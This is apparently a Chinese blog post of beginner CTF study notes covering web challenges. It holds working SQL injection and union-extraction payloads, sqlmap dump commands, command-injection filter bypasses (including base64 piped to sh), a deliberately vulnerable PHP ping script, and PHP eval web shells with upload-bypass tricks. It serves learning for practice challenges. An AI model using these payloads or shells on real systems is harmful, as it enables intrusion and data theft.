ctf 第一天

竹石2020發表於2024-04-22

透過使用者名稱或者密碼進行獲取flag

需要更改referer和X-Forwarded-For來透過驗證

透過disearch進行檔案的搜尋

拿到題目,如果沒有思路 可以先使用工具進行暴力破解看看檔案

如果發現git的檔案可以使用一下方法進行還原

python2 GitHack.py http://challenge-47f45969ef48a54f.sandbox.ctfhub.com:10800/.git/git log

git diff 26df587e18be9840e2a229921b754b3eb67a5a64

git reset --hard 26df587e18be9840e2a229921b754b3eb67a5a64 #恢復至某一個commit

mysql資料庫 sql注入

萬能密碼 1' or 1# 1'||1# 1' or '1'='1

select * from tb1 where username='1' or 1# ' and password='1';
select * from tb1 where username='1'||1# ' and password='1';
select * from tb1 where username='1' and password='1' or '1'='1';
碰到簡單的可以直接使用恆等公式進行獲取資訊

熟練使用schema_name的資訊 所有的資料庫 table表格、欄位都存放在這個表裡面

?username=1%27%20or%201%20%23&password=1
其中'為%27 %20表示空格 %23表示#

select group_concat(schema_name) from information_schema.schemata;
# 查詢指定資料庫 db 下的資料表名稱:tb1,tb2
select group_concat(table_name) from information_schema.tables where table_schema=database();
select group_concat(table_name) from information_schema.tables where table_schema='db';
# 查詢指定資料表 tb1 下的資料列: id,username,password
select group_concat(column_name) from information_schema.columns where table_name='tb1';
select group_concat(column_name) from information_schema.columns where table_schema='db' and table_name='tb1';
# 查詢欄位值
select group_concat(id,0x7e,username,0x7e,password) from db.tb1;```
# union 聯合查詢
```## union 聯合查詢注入 - 條件: 列數保持一致,有回顯位
### [極客大挑戰 2019]LoveSQL
?username=1%27 order by 3%23&password=1  # succ
?username=1%27 order by 4%23&password=1  # error,列數3列
?username=1%27 union select 1,2%23&password=1   # error
?username=1%27 union select 1,2,3%23&password=1 # succ,列數3列
# 回顯位在 2,3 位置
?username=1%27 union select 1,database(),version()%23&password=1
# 查庫 - geek
?username=1%27 union select 1,database(),3%23&password=1
# 查表 - geekuser,l0ve1ysq1
?username=1%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();%23&password=1
# 查列 - id,username,password
?username=1%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1';%23&password=1
# 查欄位值
?username=1%27 union select 1,group_concat(id,0x7e,username,0x7e,password),3 from l0ve1ysq1;%23&password=1```
# 也可以透過瀏覽器外掛快速生成程式碼
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223352573-609872580.jpg)


# 脫褲軟體sqlmap
```# 脫庫
# sqlmap
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch --dbs
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch -D sqli --tables
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch -D sqli -T flag --columns
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch -D sqli -T flag -C flag --dump
# sqli 所有內容進行了脫庫操作
sqlmap -u http://118.89.66.70:8803/02-char/?id=1 --dbms=mysql --batch -D sqli --dump

## POST
sqlmap -u http://118.89.66.70:8803/02-char-post/ --data "id=1" --batch --dbs
sqlmap -u http://118.89.66.70:8803/02-char-post/ --form --batch --dbs```

# 常見的flag目錄位置
flag常見位置
系統根目錄 - /flag   /ffllllaaaaggg
網站根目錄 - /var/www/html/flag.php
資料庫
環境變數 - env命令


# 常用的linux命令
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223555573-1496219500.jpg)

# 執行命令  透過新增命令執行exec命令
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223650548-679426791.jpg)
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223655318-585638303.jpg)
## linux程式碼中的連線符
分隔符過濾繞過:   ; | || & && %0a
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223729938-1176616321.jpg)
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223735951-2029669072.jpg)

# 文字版
```# 空格繞過
cat /flag
cat</flag
cat<>/flag
cat$IFS$9/flag
cat$IFS/flag
cat${IFS}/flag

# 命令連線符
; | || & && %0a


# 檢視檔案命令繞過
cat /flag
nl /flag
sort /flag
tac /flag

# 特殊字元繞過
cat /flag
c''a""t /f''l\a""g
c\at /fl\a""g

# 萬用字元繞過
cat /flag
cat /f*
cat /f[a-z]ag
cat /f???
/bin/ca? /f???

# 變數繞過
cat /flag
a=c;b=at;c=fl;d=ag;$a$b /$c$d
a=c;b=at;c=fl;d=ag;$a$b$IFS$9/$c$d

# 編碼繞過
cat /flag
echo 'cat /flag' | base64
echo Y2F0IC9mbGFnCg==|base64 -d
echo Y2F0IC9mbGFnCg==|base64 -d|sh
echo Y2F0IC9mbGFnCg==|base64 -d|bash```

# 檔案上傳注意檢視原始碼  有些不能使用的字母
```<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>```


# 替換空格
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422223936540-569131095.jpg)
# 編碼替換
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224000152-1406960678.jpg)
# 檔案上傳後,進行注入
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224030586-535569798.jpg)
# 使用蟻劍
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224048780-1541673439.jpg)



# 檔案上傳漏洞的幾種方式    可以使用bp軟體進行抓包   然後進行傳送請求,檢視請求和響應的情況。根據提示資訊進行更改請求頭
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224217547-1632911007.jpg)
```檔案上傳
	前端驗證
	MIME - 檔案型別
		Content-Type: image/png   image/jpeg   image/jpg  image/gif
	檔案頭部
		GIF89a<?php eval($_POST[1]);?>
	檔案內容
		<?php eval($_POST[1]);?>
		<?=eval($_POST[1]);?>
		<script language="php">eval($_POST[1]);</script>   //僅限php5
	檔案字尾
		大小寫: 1.php  1.pHp  1.phP
		其他常見檔案字尾: 1.php 1.phtml 1.pht
	替換 -> 雙寫繞過 1.pphphp```

# 使用指令碼進行破解的引數
```python dirsearch.py -u http://80.endpoint-c40c18f71d6b465cb218701491c5c3f2.m.ins.cloud.dasctf.com:81/ -e * -t 1```
# 資料庫的破解  注入例項
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224358117-1224905690.jpg)
```?id=-1 or 1?id=-1 union select 4,5,6?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret'?id=-1 union select 1,2,group_concat(f1ag) from secret## sqlmapsqlmap -u http://80.endpoint-71b8e56896b6471c81a440be80f441f2.m.ins.cloud.dasctf.com:81/?id=1 --batch --dbssqlmap -u http://80.endpoint-71b8e56896b6471c81a440be80f441f2.m.ins.cloud.dasctf.com:81/?id=1 --batch -D db --dump```
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224414696-207972699.jpg)

# 習題中的透過命令進行獲取flag的方式
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224459906-1431569171.jpg)
# 透過萬用字元進行跨過過濾
```?ip=127.0.0.1|cat /f[a-z]ag?ip=127.0.0.1|cat /f\lag```
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224547195-2081501453.jpg)
# 透過自定義變數進行躲避過濾
```?ip=127.0.0.1%26%26a=ag%26%26cat /fl$a?ip=127.0.0.1%0aa=ag%0acat /fl$a```
![](https://img2024.cnblogs.com/blog/1943889/202404/1943889-20240422224634266-198789307.jpg)
#透過base64編碼進行躲避過濾
```?ip=127.0.0.1%0aecho Y2F0IC9mbGFnIA0K|base64 -d|sh```